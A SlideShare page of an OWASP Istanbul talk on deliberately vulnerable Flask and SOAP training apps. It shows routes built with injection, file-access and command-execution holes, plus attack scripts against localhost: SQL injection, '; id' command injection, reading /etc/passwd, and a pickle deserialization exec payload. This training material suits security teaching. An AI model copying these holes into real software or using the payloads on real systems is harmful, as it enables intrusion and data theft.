SlideShare une entreprise Scribd logo
1  sur  34
Télécharger pour lire hors ligne
OWASP – Vulnerable Flask App
https://owasp.org/www-project-vulnerable-flask-app/
https://github.com/anil-yelken/Vulnerable-Flask-App
Anıl Yelken 19.11.2022 OWASP İstanbul
OWASP – VULNERABLE FLASK APP
-HTML Injection
-SSTI
-SQL Injection
-Information Disclosure
-Command Injection
-Brute Force
-Deserialization
-Broken Authentication
-DOS
-File Upload
OWASP – VULNERABLE FLASK APP
SQL INJECTION
@app.route("/user/<string:name>")
def search_user(name):
con = sqlite3.connect("test.db")
cur = con.cursor()
cur.execute("select * from test where username = '%s'" % name)
data = str(cur.fetchall())
con.close()
import logging
logging.basicConfig(filename="restapi.log", filemode='w', level=logging.DEBUG)
logging.debug(data)
return jsonify(data=data),200
OWASP – VULNERABLE FLASK APP
SQL INJECTION
OWASP – VULNERABLE FLASK APP
HTML INJECTION
@app.route("/welcome2/<string:name>")
def welcome2(name):
data="Welcome "+name
return data
OWASP – VULNERABLE FLASK APP
HTML INJECTION
OWASP – VULNERABLE FLASK APP
SSTI
@app.route("/hello")
def hello_ssti():
if request.args.get('name'):
name = request.args.get('name')
template = f'''<div>
<h1>Hello</h1>
{name}
</div>
'''
import logging
logging.basicConfig(filename="restapi.log", filemode='w', level=logging.DEBUG)
logging.debug(str(template))
return render_template_string(template)
OWASP – VULNERABLE FLASK APP
SSTI
OWASP – VULNERABLE FLASK APP
COMMAND INJECTION
@app.route("/get_users")
def get_users():
try:
hostname = request.args.get('hostname')
command = "dig " + hostname
data = subprocess.check_output(command, shell=True)
return data
except:
data = str(hostname) + " username didn't found"
return data
OWASP – VULNERABLE FLASK APP
COMMAND INJECTION
OWASP – VULNERABLE FLASK APP
INFORMATION DISCLOSURE
@app.route("/get_log/")
def get_log():
try:
command="cat restapi.log"
data=subprocess.check_output(command,shell=True)
return data
except:
return jsonify(data="Command didn't run"), 200
OWASP – VULNERABLE FLASK APP
INFORMATION DISCLOSURE
OWASP – VULNERABLE FLASK APP
LFI
@app.route("/read_file")
def read_file():
filename = request.args.get('filename')
file = open(filename, "r")
data = file.read()
file.close()
import logging
logging.basicConfig(filename="restapi.log", filemode='w', level=logging.DEBUG)
logging.debug(str(data))
return jsonify(data=data),200
OWASP – VULNERABLE FLASK APP
LFI
OWASP – VULNERABLE FLASK APP
INFORMATION DISCLOSURE
@app.route("/get_admin_mail/<string:control>")
def get_admin_mail(control):
if control=="admin":
data="admin@cybersecurity.intra"
import logging
logging.basicConfig(filename="restapi.log", filemode='w', level=logging.DEBUG)
logging.debug(data)
return jsonify(data=data),200
else:
return jsonify(data="Control didn't set admin"), 200
OWASP – VULNERABLE FLASK APP
INFORMATION DISCLOSURE
OWASP – VULNERABLE FLASK APP
BRUTE FORCE
@app.route('/login',methods=["GET"])
def login():
username=request.args.get("username")
passwd=request.args.get("password")
if "anil" in username and "cyber" in passwd:
return jsonify(data="Login successful"), 200
else:
return jsonify(data="Login unsuccessful"), 403
OWASP – VULNERABLE FLASK APP
BRUTE FORCE
OWASP – VULNERABLE FLASK APP
FILE UPLOAD
@app.route('/upload', methods = ['GET','POST'])
def uploadfile():
import os
if request.method == 'POST':
f = request.files['file']
filename=secure_filename(f.filename)
f.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))
return 'File uploaded successfully'
else:
return '''
<html>
<body>
<form method = "POST" enctype = "multipart/form-data">
<input type = "file" name = "file" />
<input type = "submit"/>
</form>
</body>
</html>
'''
OWASP – VULNERABLE FLASK APP
FILE UPLOAD
OWASP – VULNERABLE FLASK APP
DOS
@app.route("/user_pass_control")
def user_pass_control():
import re
username=request.form.get("username")
password=request.form.get("password")
if re.search(username,password):
return jsonify(data="Password include username"), 200
else:
return jsonify(data="Password doesn't include username"), 200
OWASP – VULNERABLE FLASK APP
DOS
OWASP – VULNERABLE FLASK APP
@app.route("/run_file")
def run_file():
try:
filename=request.args.get("filename")
command="/bin/bash "+filename
data=subprocess.check_output(command,shell=True)
return data
except:
return jsonify(data="File failed to run"), 200
OWASP – VULNERABLE FLASK APP
@app.route("/create_file")
def create_file():
try:
filename=request.args.get("filename")
text=request.args.get("text")
file=open(filename,"w")
file.write(text)
file.close()
return jsonify(data="File created"), 200
except:
return jsonify(data="File didn't create"), 200
OWASP – VULNERABLE FLASK APP
VULNERABLE SOAP SERVICE
https://github.com/anil-yelken/Vulnerable-Soap-Service
-LFI
-SQL Injection
-Information Disclosure
-Command Injection
-Brute Force
-Deserialization
VULNERABLE SOAP SERVICE
LFI
from suds.client import Client
client = Client('http://127.0.0.1:8000/?wsdl')
print(client)
print(client.service.read_file("/etc/passwd"))
VULNERABLE SOAP SERVICE
SQL INJECTION
from suds.client import Client
client = Client('http://127.0.0.1:8000/?wsdl')
print(client)
print(client.service.query("' or '1=1"))
VULNERABLE SOAP SERVICE
INFORMATION DISCLOSURE
from suds.client import Client
client = Client('http://127.0.0.1:8000/?wsdl')
print(client)
print(client.service.get_log())
VULNERABLE SOAP SERVICE
COMMAND INJECTION
from suds.client import Client
client = Client('http://127.0.0.1:8000/?wsdl')
print(client)
print(client.service.get_users("kali /etc/passwd ; id
VULNERABLE SOAP SERVICE
BRUTE FORCE
from suds.client import Client
client = Client('http://127.0.0.1:8000/?wsdl')
print(client)
username_list=["admin","test","siber","siber1"]
for username in username_list:
print(client.service.query(username))
VULNERABLE SOAP SERVICE
DESERIALIZATION
import socket,pickle,builtins
HOST = "127.0.0.1"
PORT = 8001
class Pickle(object):
def __reduce__(self):
return (builtins.exec, ("with open('/etc/passwd','r') as files: print(files.readlines())",))
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
sock.connect((HOST,PORT))
sock.sendall(pickle.dumps(Pickle()))
from suds.client import Client
client = Client('http://127.0.0.1:8000/?wsdl')
print(client)
print(client.service.deserialization())
ŞIRKET SOSYAL MEDYA HESAPLARI
• https://kaleileriteknoloji.medium.com/
https://www.linkedin.com/company/54162391
https://twitter.com/kaleileri
https://twitter.com/kaleakademi
https://www.instagram.com/kaleileri/
https://www.instagram.com/kalesiberakademi
https://github.com/kaleakademi
https://www.youtube.com/results?search_query=kale+ileri+teknoloji+
KIŞISEL SOSYAL MEDYA
HESAPLARIM
• https://www.linkedin.com/in/ayelk/
• https://twitter.com/anilyelken06
• https://medium.com/@anilyelken
• https://github.com/anil-yelken

Contenu connexe

Tendances

Derinlemesine Paket İnceleme (Deep Packet Inspection)
Derinlemesine Paket İnceleme (Deep Packet Inspection)Derinlemesine Paket İnceleme (Deep Packet Inspection)
Derinlemesine Paket İnceleme (Deep Packet Inspection)
BGA Cyber Security
 

Tendances (20)

Web uygulama açıklıklarından faydalanarak sistem ele geçirme
Web uygulama açıklıklarından faydalanarak sistem ele geçirmeWeb uygulama açıklıklarından faydalanarak sistem ele geçirme
Web uygulama açıklıklarından faydalanarak sistem ele geçirme
 
Web Application Penetration Testing - 101
Web Application Penetration Testing - 101Web Application Penetration Testing - 101
Web Application Penetration Testing - 101
 
VERİTABANI SIZMA TESTLERİ
VERİTABANI SIZMA TESTLERİVERİTABANI SIZMA TESTLERİ
VERİTABANI SIZMA TESTLERİ
 
Derinlemesine Paket İnceleme (Deep Packet Inspection)
Derinlemesine Paket İnceleme (Deep Packet Inspection)Derinlemesine Paket İnceleme (Deep Packet Inspection)
Derinlemesine Paket İnceleme (Deep Packet Inspection)
 
Siber Güvenlik ve Etik Hacking Sunu - 10
Siber Güvenlik ve Etik Hacking Sunu - 10Siber Güvenlik ve Etik Hacking Sunu - 10
Siber Güvenlik ve Etik Hacking Sunu - 10
 
Uygulamali Sizma Testi (Pentest) Egitimi Sunumu - 2
Uygulamali Sizma Testi (Pentest) Egitimi Sunumu - 2Uygulamali Sizma Testi (Pentest) Egitimi Sunumu - 2
Uygulamali Sizma Testi (Pentest) Egitimi Sunumu - 2
 
Privilege escalation from 1 to 0 Workshop
Privilege escalation from 1 to 0 Workshop Privilege escalation from 1 to 0 Workshop
Privilege escalation from 1 to 0 Workshop
 
PORT TARAMA ve KEŞİF ÇALIŞMALARI
PORT TARAMA ve KEŞİF ÇALIŞMALARI PORT TARAMA ve KEŞİF ÇALIŞMALARI
PORT TARAMA ve KEŞİF ÇALIŞMALARI
 
Exploring the Portable Executable format
Exploring the Portable Executable formatExploring the Portable Executable format
Exploring the Portable Executable format
 
PEW PEW PEW: Designing Secure Boot Securely
PEW PEW PEW: Designing Secure Boot SecurelyPEW PEW PEW: Designing Secure Boot Securely
PEW PEW PEW: Designing Secure Boot Securely
 
Sql injection with sqlmap
Sql injection with sqlmapSql injection with sqlmap
Sql injection with sqlmap
 
Aruba Instant 6.4.0.2-4.1 Command Line Interface Reference Guide
Aruba Instant 6.4.0.2-4.1 Command Line Interface Reference GuideAruba Instant 6.4.0.2-4.1 Command Line Interface Reference Guide
Aruba Instant 6.4.0.2-4.1 Command Line Interface Reference Guide
 
Zafiyet tespiti ve sizma yöntemleri
Zafiyet tespiti ve sizma yöntemleriZafiyet tespiti ve sizma yöntemleri
Zafiyet tespiti ve sizma yöntemleri
 
LINUX, WINDOWS VE AĞ SİSTEMLERİ SIZMA TESTLERİ
LINUX, WINDOWS VE AĞ SİSTEMLERİ SIZMA TESTLERİ LINUX, WINDOWS VE AĞ SİSTEMLERİ SIZMA TESTLERİ
LINUX, WINDOWS VE AĞ SİSTEMLERİ SIZMA TESTLERİ
 
EXPLOIT POST EXPLOITATION
EXPLOIT POST EXPLOITATIONEXPLOIT POST EXPLOITATION
EXPLOIT POST EXPLOITATION
 
WEB ve MOBİL SIZMA TESTLERİ
WEB ve MOBİL SIZMA TESTLERİ WEB ve MOBİL SIZMA TESTLERİ
WEB ve MOBİL SIZMA TESTLERİ
 
Lie to Me: Bypassing Modern Web Application Firewalls
Lie to Me: Bypassing Modern Web Application FirewallsLie to Me: Bypassing Modern Web Application Firewalls
Lie to Me: Bypassing Modern Web Application Firewalls
 
Advanced SQL injection to operating system full control (slides)
Advanced SQL injection to operating system full control (slides)Advanced SQL injection to operating system full control (slides)
Advanced SQL injection to operating system full control (slides)
 
Secure code
Secure codeSecure code
Secure code
 
SecurityOnion ile Ağ güvenliğini İzlemek
SecurityOnion ile Ağ güvenliğini İzlemekSecurityOnion ile Ağ güvenliğini İzlemek
SecurityOnion ile Ağ güvenliğini İzlemek
 

Similaire à OWASP-VulnerableFlaskApp

node.js practical guide to serverside javascript
node.js practical guide to serverside javascriptnode.js practical guide to serverside javascript
node.js practical guide to serverside javascript
Eldar Djafarov
 
Flask patterns
Flask patternsFlask patterns
Flask patterns
it-people
 

Similaire à OWASP-VulnerableFlaskApp (20)

Authenticating and Securing Node.js APIs
Authenticating and Securing Node.js APIsAuthenticating and Securing Node.js APIs
Authenticating and Securing Node.js APIs
 
Denys Serhiienko "ASGI in depth"
Denys Serhiienko "ASGI in depth"Denys Serhiienko "ASGI in depth"
Denys Serhiienko "ASGI in depth"
 
URLProtocol
URLProtocolURLProtocol
URLProtocol
 
Make WordPress realtime.
Make WordPress realtime.Make WordPress realtime.
Make WordPress realtime.
 
node.js practical guide to serverside javascript
node.js practical guide to serverside javascriptnode.js practical guide to serverside javascript
node.js practical guide to serverside javascript
 
NodeJs
NodeJsNodeJs
NodeJs
 
Deep dive into new ASP.NET MVC 4 Features
Deep dive into new ASP.NET MVC 4 Features Deep dive into new ASP.NET MVC 4 Features
Deep dive into new ASP.NET MVC 4 Features
 
Dpilot Source Code With ScreenShots
Dpilot Source Code With ScreenShots Dpilot Source Code With ScreenShots
Dpilot Source Code With ScreenShots
 
Dpilot - Source Code with Snapshots
Dpilot - Source Code with SnapshotsDpilot - Source Code with Snapshots
Dpilot - Source Code with Snapshots
 
Source Code for Dpilot
Source Code for Dpilot Source Code for Dpilot
Source Code for Dpilot
 
Flask & Flask-restx
Flask & Flask-restxFlask & Flask-restx
Flask & Flask-restx
 
Angular&node js upload file
Angular&node js upload fileAngular&node js upload file
Angular&node js upload file
 
Flask patterns
Flask patternsFlask patterns
Flask patterns
 
#30.스프링프레임워크 & 마이바티스 (Spring Framework, MyBatis)_스프링프레임워크 강좌, 재직자환급교육,실업자국비지원...
#30.스프링프레임워크 & 마이바티스 (Spring Framework, MyBatis)_스프링프레임워크 강좌, 재직자환급교육,실업자국비지원...#30.스프링프레임워크 & 마이바티스 (Spring Framework, MyBatis)_스프링프레임워크 강좌, 재직자환급교육,실업자국비지원...
#30.스프링프레임워크 & 마이바티스 (Spring Framework, MyBatis)_스프링프레임워크 강좌, 재직자환급교육,실업자국비지원...
 
Python Google Cloud Function with CORS
Python Google Cloud Function with CORSPython Google Cloud Function with CORS
Python Google Cloud Function with CORS
 
Express Presentation
Express PresentationExpress Presentation
Express Presentation
 
Filling the flask
Filling the flaskFilling the flask
Filling the flask
 
7. Lower upper in Laravel
7. Lower upper in Laravel7. Lower upper in Laravel
7. Lower upper in Laravel
 
Frontend Servers and NGINX: What, Where and How
Frontend Servers and NGINX: What, Where and HowFrontend Servers and NGINX: What, Where and How
Frontend Servers and NGINX: What, Where and How
 
Laravel dokumentacja Restful API - swagger
Laravel dokumentacja Restful API - swaggerLaravel dokumentacja Restful API - swagger
Laravel dokumentacja Restful API - swagger
 

Dernier

TrustArc Webinar - Unified Trust Center for Privacy, Security, Compliance, an...
TrustArc Webinar - Unified Trust Center for Privacy, Security, Compliance, an...TrustArc Webinar - Unified Trust Center for Privacy, Security, Compliance, an...
TrustArc Webinar - Unified Trust Center for Privacy, Security, Compliance, an...
TrustArc
 
Finding Java's Hidden Performance Traps @ DevoxxUK 2024
Finding Java's Hidden Performance Traps @ DevoxxUK 2024Finding Java's Hidden Performance Traps @ DevoxxUK 2024
Finding Java's Hidden Performance Traps @ DevoxxUK 2024
Victor Rentea
 
Tales from a Passkey Provider Progress from Awareness to Implementation.pptx
Tales from a Passkey Provider  Progress from Awareness to Implementation.pptxTales from a Passkey Provider  Progress from Awareness to Implementation.pptx
Tales from a Passkey Provider Progress from Awareness to Implementation.pptx
FIDO Alliance
 

Dernier (20)

Navigating Identity and Access Management in the Modern Enterprise
Navigating Identity and Access Management in the Modern EnterpriseNavigating Identity and Access Management in the Modern Enterprise
Navigating Identity and Access Management in the Modern Enterprise
 
The Ultimate Prompt Engineering Guide for Generative AI: Get the Most Out of ...
The Ultimate Prompt Engineering Guide for Generative AI: Get the Most Out of ...The Ultimate Prompt Engineering Guide for Generative AI: Get the Most Out of ...
The Ultimate Prompt Engineering Guide for Generative AI: Get the Most Out of ...
 
JavaScript Usage Statistics 2024 - The Ultimate Guide
JavaScript Usage Statistics 2024 - The Ultimate GuideJavaScript Usage Statistics 2024 - The Ultimate Guide
JavaScript Usage Statistics 2024 - The Ultimate Guide
 
TrustArc Webinar - Unified Trust Center for Privacy, Security, Compliance, an...
TrustArc Webinar - Unified Trust Center for Privacy, Security, Compliance, an...TrustArc Webinar - Unified Trust Center for Privacy, Security, Compliance, an...
TrustArc Webinar - Unified Trust Center for Privacy, Security, Compliance, an...
 
Overview of Hyperledger Foundation
Overview of Hyperledger FoundationOverview of Hyperledger Foundation
Overview of Hyperledger Foundation
 
JohnPollard-hybrid-app-RailsConf2024.pptx
JohnPollard-hybrid-app-RailsConf2024.pptxJohnPollard-hybrid-app-RailsConf2024.pptx
JohnPollard-hybrid-app-RailsConf2024.pptx
 
ERP Contender Series: Acumatica vs. Sage Intacct
ERP Contender Series: Acumatica vs. Sage IntacctERP Contender Series: Acumatica vs. Sage Intacct
ERP Contender Series: Acumatica vs. Sage Intacct
 
2024 May Patch Tuesday
2024 May Patch Tuesday2024 May Patch Tuesday
2024 May Patch Tuesday
 
DBX First Quarter 2024 Investor Presentation
DBX First Quarter 2024 Investor PresentationDBX First Quarter 2024 Investor Presentation
DBX First Quarter 2024 Investor Presentation
 
UiPath manufacturing technology benefits and AI overview
UiPath manufacturing technology benefits and AI overviewUiPath manufacturing technology benefits and AI overview
UiPath manufacturing technology benefits and AI overview
 
ADP Passwordless Journey Case Study.pptx
ADP Passwordless Journey Case Study.pptxADP Passwordless Journey Case Study.pptx
ADP Passwordless Journey Case Study.pptx
 
WSO2 Micro Integrator for Enterprise Integration in a Decentralized, Microser...
WSO2 Micro Integrator for Enterprise Integration in a Decentralized, Microser...WSO2 Micro Integrator for Enterprise Integration in a Decentralized, Microser...
WSO2 Micro Integrator for Enterprise Integration in a Decentralized, Microser...
 
API Governance and Monetization - The evolution of API governance
API Governance and Monetization -  The evolution of API governanceAPI Governance and Monetization -  The evolution of API governance
API Governance and Monetization - The evolution of API governance
 
Finding Java's Hidden Performance Traps @ DevoxxUK 2024
Finding Java's Hidden Performance Traps @ DevoxxUK 2024Finding Java's Hidden Performance Traps @ DevoxxUK 2024
Finding Java's Hidden Performance Traps @ DevoxxUK 2024
 
ChatGPT and Beyond - Elevating DevOps Productivity
ChatGPT and Beyond - Elevating DevOps ProductivityChatGPT and Beyond - Elevating DevOps Productivity
ChatGPT and Beyond - Elevating DevOps Productivity
 
Portal Kombat : extension du réseau de propagande russe
Portal Kombat : extension du réseau de propagande russePortal Kombat : extension du réseau de propagande russe
Portal Kombat : extension du réseau de propagande russe
 
WebRTC and SIP not just audio and video @ OpenSIPS 2024
WebRTC and SIP not just audio and video @ OpenSIPS 2024WebRTC and SIP not just audio and video @ OpenSIPS 2024
WebRTC and SIP not just audio and video @ OpenSIPS 2024
 
Introduction to FIDO Authentication and Passkeys.pptx
Introduction to FIDO Authentication and Passkeys.pptxIntroduction to FIDO Authentication and Passkeys.pptx
Introduction to FIDO Authentication and Passkeys.pptx
 
Stronger Together: Developing an Organizational Strategy for Accessible Desig...
Stronger Together: Developing an Organizational Strategy for Accessible Desig...Stronger Together: Developing an Organizational Strategy for Accessible Desig...
Stronger Together: Developing an Organizational Strategy for Accessible Desig...
 
Tales from a Passkey Provider Progress from Awareness to Implementation.pptx
Tales from a Passkey Provider  Progress from Awareness to Implementation.pptxTales from a Passkey Provider  Progress from Awareness to Implementation.pptx
Tales from a Passkey Provider Progress from Awareness to Implementation.pptx
 

OWASP-VulnerableFlaskApp

  • 1. OWASP – Vulnerable Flask App https://owasp.org/www-project-vulnerable-flask-app/ https://github.com/anil-yelken/Vulnerable-Flask-App Anıl Yelken 19.11.2022 OWASP İstanbul
  • 2. OWASP – VULNERABLE FLASK APP -HTML Injection -SSTI -SQL Injection -Information Disclosure -Command Injection -Brute Force -Deserialization -Broken Authentication -DOS -File Upload
  • 3. OWASP – VULNERABLE FLASK APP SQL INJECTION @app.route("/user/<string:name>") def search_user(name): con = sqlite3.connect("test.db") cur = con.cursor() cur.execute("select * from test where username = '%s'" % name) data = str(cur.fetchall()) con.close() import logging logging.basicConfig(filename="restapi.log", filemode='w', level=logging.DEBUG) logging.debug(data) return jsonify(data=data),200
  • 4. OWASP – VULNERABLE FLASK APP SQL INJECTION
  • 5. OWASP – VULNERABLE FLASK APP HTML INJECTION @app.route("/welcome2/<string:name>") def welcome2(name): data="Welcome "+name return data
  • 6. OWASP – VULNERABLE FLASK APP HTML INJECTION
  • 7. OWASP – VULNERABLE FLASK APP SSTI @app.route("/hello") def hello_ssti(): if request.args.get('name'): name = request.args.get('name') template = f'''<div> <h1>Hello</h1> {name} </div> ''' import logging logging.basicConfig(filename="restapi.log", filemode='w', level=logging.DEBUG) logging.debug(str(template)) return render_template_string(template)
  • 8. OWASP – VULNERABLE FLASK APP SSTI
  • 9. OWASP – VULNERABLE FLASK APP COMMAND INJECTION @app.route("/get_users") def get_users(): try: hostname = request.args.get('hostname') command = "dig " + hostname data = subprocess.check_output(command, shell=True) return data except: data = str(hostname) + " username didn't found" return data
  • 10. OWASP – VULNERABLE FLASK APP COMMAND INJECTION
  • 11. OWASP – VULNERABLE FLASK APP INFORMATION DISCLOSURE @app.route("/get_log/") def get_log(): try: command="cat restapi.log" data=subprocess.check_output(command,shell=True) return data except: return jsonify(data="Command didn't run"), 200
  • 12. OWASP – VULNERABLE FLASK APP INFORMATION DISCLOSURE
  • 13. OWASP – VULNERABLE FLASK APP LFI @app.route("/read_file") def read_file(): filename = request.args.get('filename') file = open(filename, "r") data = file.read() file.close() import logging logging.basicConfig(filename="restapi.log", filemode='w', level=logging.DEBUG) logging.debug(str(data)) return jsonify(data=data),200
  • 14. OWASP – VULNERABLE FLASK APP LFI
  • 15. OWASP – VULNERABLE FLASK APP INFORMATION DISCLOSURE @app.route("/get_admin_mail/<string:control>") def get_admin_mail(control): if control=="admin": data="admin@cybersecurity.intra" import logging logging.basicConfig(filename="restapi.log", filemode='w', level=logging.DEBUG) logging.debug(data) return jsonify(data=data),200 else: return jsonify(data="Control didn't set admin"), 200
  • 16. OWASP – VULNERABLE FLASK APP INFORMATION DISCLOSURE
  • 17. OWASP – VULNERABLE FLASK APP BRUTE FORCE @app.route('/login',methods=["GET"]) def login(): username=request.args.get("username") passwd=request.args.get("password") if "anil" in username and "cyber" in passwd: return jsonify(data="Login successful"), 200 else: return jsonify(data="Login unsuccessful"), 403
  • 18. OWASP – VULNERABLE FLASK APP BRUTE FORCE
  • 19. OWASP – VULNERABLE FLASK APP FILE UPLOAD @app.route('/upload', methods = ['GET','POST']) def uploadfile(): import os if request.method == 'POST': f = request.files['file'] filename=secure_filename(f.filename) f.save(os.path.join(app.config['UPLOAD_FOLDER'], filename)) return 'File uploaded successfully' else: return ''' <html> <body> <form method = "POST" enctype = "multipart/form-data"> <input type = "file" name = "file" /> <input type = "submit"/> </form> </body> </html> '''
  • 20. OWASP – VULNERABLE FLASK APP FILE UPLOAD
  • 21. OWASP – VULNERABLE FLASK APP DOS @app.route("/user_pass_control") def user_pass_control(): import re username=request.form.get("username") password=request.form.get("password") if re.search(username,password): return jsonify(data="Password include username"), 200 else: return jsonify(data="Password doesn't include username"), 200
  • 22. OWASP – VULNERABLE FLASK APP DOS
  • 23. OWASP – VULNERABLE FLASK APP @app.route("/run_file") def run_file(): try: filename=request.args.get("filename") command="/bin/bash "+filename data=subprocess.check_output(command,shell=True) return data except: return jsonify(data="File failed to run"), 200
  • 24. OWASP – VULNERABLE FLASK APP @app.route("/create_file") def create_file(): try: filename=request.args.get("filename") text=request.args.get("text") file=open(filename,"w") file.write(text) file.close() return jsonify(data="File created"), 200 except: return jsonify(data="File didn't create"), 200
  • 25. OWASP – VULNERABLE FLASK APP
  • 26. VULNERABLE SOAP SERVICE https://github.com/anil-yelken/Vulnerable-Soap-Service -LFI -SQL Injection -Information Disclosure -Command Injection -Brute Force -Deserialization
  • 27. VULNERABLE SOAP SERVICE LFI from suds.client import Client client = Client('http://127.0.0.1:8000/?wsdl') print(client) print(client.service.read_file("/etc/passwd"))
  • 28. VULNERABLE SOAP SERVICE SQL INJECTION from suds.client import Client client = Client('http://127.0.0.1:8000/?wsdl') print(client) print(client.service.query("' or '1=1"))
  • 29. VULNERABLE SOAP SERVICE INFORMATION DISCLOSURE from suds.client import Client client = Client('http://127.0.0.1:8000/?wsdl') print(client) print(client.service.get_log())
  • 30. VULNERABLE SOAP SERVICE COMMAND INJECTION from suds.client import Client client = Client('http://127.0.0.1:8000/?wsdl') print(client) print(client.service.get_users("kali /etc/passwd ; id
  • 31. VULNERABLE SOAP SERVICE BRUTE FORCE from suds.client import Client client = Client('http://127.0.0.1:8000/?wsdl') print(client) username_list=["admin","test","siber","siber1"] for username in username_list: print(client.service.query(username))
  • 32. VULNERABLE SOAP SERVICE DESERIALIZATION import socket,pickle,builtins HOST = "127.0.0.1" PORT = 8001 class Pickle(object): def __reduce__(self): return (builtins.exec, ("with open('/etc/passwd','r') as files: print(files.readlines())",)) with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock: sock.connect((HOST,PORT)) sock.sendall(pickle.dumps(Pickle())) from suds.client import Client client = Client('http://127.0.0.1:8000/?wsdl') print(client) print(client.service.deserialization())
  • 33. ŞIRKET SOSYAL MEDYA HESAPLARI • https://kaleileriteknoloji.medium.com/ https://www.linkedin.com/company/54162391 https://twitter.com/kaleileri https://twitter.com/kaleakademi https://www.instagram.com/kaleileri/ https://www.instagram.com/kalesiberakademi https://github.com/kaleakademi https://www.youtube.com/results?search_query=kale+ileri+teknoloji+
  • 34. KIŞISEL SOSYAL MEDYA HESAPLARIM • https://www.linkedin.com/in/ayelk/ • https://twitter.com/anilyelken06 • https://medium.com/@anilyelken • https://github.com/anil-yelken